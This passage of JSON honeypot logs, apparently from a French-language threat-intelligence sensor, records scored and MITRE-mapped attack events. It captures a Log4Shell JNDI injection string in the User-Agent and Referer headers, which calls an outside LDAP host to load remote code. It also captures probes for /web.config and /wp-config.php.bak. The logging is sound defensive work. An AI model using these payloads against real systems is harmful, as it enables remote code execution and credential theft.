\u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 79\/100 (\u00c9lev\u00e9) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 79, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 79, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022GET \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20639 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:460\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 6 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.61, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_login\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20639","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_login\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":497},{"id":7106406,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":17236,"dst_port":20787,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/web.config","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022config\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022fb61e36fe9095535f127e3353d957f1c1310e8e9\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 179, \u0022payload_entropy\u0022: 5.199011692965391, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20787, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 46, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00221e20bc9201255c5ba6484016f92fb7c8c1744674\u0022, \u0022event_fingerprint\u0022: \u002249ee05efd0f76f4f55c6c6000b778d430844bccf\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00226796f1d0cd43383799b9b8781ceb99b1\u0022, \u0022path_pattern_hash\u0022: \u00220913647d7e838cdd727ceda37a671f37\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 46}, \u0022payload_preview\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00228b01d06ffd5b2401883ecbe25864d26e8f28a3d8\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20787 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 46\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 46, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20787, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20787 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220787\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.65, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":179},{"id":7106405,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":16243,"dst_port":31832,"service":"http","classification":"port_scan_syn","waf_score":29,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022]","http_method":"GET","http_target":"\/wp-config.php.bak","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022bak\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u00220372d7102c333673ea0de9e60c73911cb60bfb5f\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 186, \u0022payload_entropy\u0022: 5.2529992835642085, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 7.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 62, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022119e191da51402b2dc4686211cbcb5c6a5408cfa\u0022, \u0022event_fingerprint\u0022: \u0022ddba0db79c97441de85ab71bdcb134c465d2bff1\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 62, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u0022c5f0d324e8c0597978dacf843ac4627a\u0022, \u0022path_pattern_hash\u0022: \u0022c879a1d8584c2c545f6c6bb7a9f5a061\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 62}, \u0022payload_preview\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-5\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022], \u0022waf_rule_names\u0022: 